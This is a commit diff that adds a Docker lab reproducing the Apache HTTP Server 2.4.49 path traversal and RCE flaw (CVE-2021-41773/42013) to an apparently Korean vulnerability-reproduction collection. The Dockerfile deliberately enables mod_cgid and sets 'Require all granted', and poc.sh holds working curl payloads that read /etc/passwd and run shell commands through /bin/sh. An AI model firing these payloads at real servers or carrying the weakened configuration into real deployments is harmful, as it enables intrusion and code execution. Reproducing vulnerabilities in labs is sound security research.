Add CVE-2021-41773/CVE-2021-42013 Apache HTTP Server Path Traversal RCE

Apache/CVE-2021-41773/Dockerfile

@@ -0,0 +1,14 @@
+FROM httpd:2.4.49
+
+RUN sed -i \
+    -e 's/#LoadModule cgid_module modules\/mod_cgid.so/LoadModule cgid_module modules\/mod_cgid.so/' \
+    /usr/local/apache2/conf/httpd.conf
+
+RUN sed -i \
+    -e 's/Require all denied/Require all granted/' \
+    /usr/local/apache2/conf/httpd.conf
+
+COPY cgi-bin/test.cgi /usr/local/apache2/cgi-bin/test.cgi
+RUN chmod +x /usr/local/apache2/cgi-bin/test.cgi
+
+EXPOSE 80

Apache/CVE-2021-41773/cgi-bin/test.cgi

@@ -0,0 +1,5 @@
+#!/bin/sh
+echo "Content-Type: text/plain"
+echo ""
+echo "CGI is working. uid info below:"
+id

Apache/CVE-2021-41773/docker-compose.yml

@@ -0,0 +1,7 @@
+version: "3.8"
+services:
+  httpd:
+    build: .
+    container_name: cve-2021-41773
+    ports:
+      - "8080:80"

Apache/CVE-2021-41773/poc.sh

@@ -0,0 +1,9 @@
+#!/bin/bash
+TARGET="${1:-http://127.0.0.1:8080}"
+
+echo "[1] 경로 순회를 통한 임의 파일 읽기"
+curl -s "${TARGET}/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd"
+
+echo ""
+echo "[2] CGI 실행을 통한 RCE"
+curl -s "${TARGET}/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" -d 'A=|echo;id;uname -a'

Dockerfile

@@ -0,0 +1,18 @@
+FROM httpd:2.4.49
+
+# mod_cgid 활성화 (RCE 재현 조건)
+RUN sed -i \
+    -e 's/^#LoadModule cgid_module modules\/mod_cgid.so/LoadModule cgid_module modules\/mod_cgid.so/' \
+    /usr/local/apache2/conf/httpd.conf
+
+# CVE-2021-41773의 공식 문서화된 전제 조건: 루트 디렉터리에
+# "require all denied"가 적용되어 있지 않아야 경로 순회가 성공한다.
+# (Apache 공식 보안 권고문 명시 사항)
+RUN sed -i \
+    -e 's/Require all denied/Require all granted/' \
+    /usr/local/apache2/conf/httpd.conf
+
+COPY cgi-bin/test.cgi /usr/local/apache2/cgi-bin/test.cgi
+RUN chmod +x /usr/local/apache2/cgi-bin/test.cgi
+
+EXPOSE 80

README.md

@@ -14,6 +14,10 @@
     - [CVE-2016-3088](./ActiveMQ/CVE-2016-3088/README.md) — ActiveMQ fileserver 임의 파일 쓰기 → RCE
         - Contributor: [@Roronoawjd](https://github.com/Roronoawjd) | Risk Score: 9.8 (Reproducibility: 75%)
 
+- **Apache** — 오픈소스 웹 서버
+    - [CVE-2021-41773](./Apache/CVE-2021-41773/README.md) — Apache HTTP Server 경로 순회 및 원격 코드 실행
+        - Contributor: [@exlink0807](https://github.com/exlink0807) | Risk Score: 9.8 (Reproducibility: 100%)
+
 - **CouchDB** — Erlang 기반 오픈소스 문서 지향 NoSQL 데이터베이스
     - [CVE-2017-12635](./CouchDB/CVE-2017-12635/README.md) — CouchDB JSON 파서 불일치를 이용한 원격 권한 상승
         - Contributor: [@jason1343](https://github.com/jason1343) | Risk Score: 9.8 (Reproducibility: 70%)

README_patch.txt

@@ -0,0 +1,4 @@
+- **Apache** — 오픈소스 웹 서버
+    - [CVE-2021-41773](./Apache/CVE-2021-41773/README.md) — Apache HTTP Server 경로 순회 및 원격 코드 실행
+        - Contributor: [@exlink0807](https://github.com/exlink0807) | Risk Score: 9.8 (Reproducibility: 100%)
+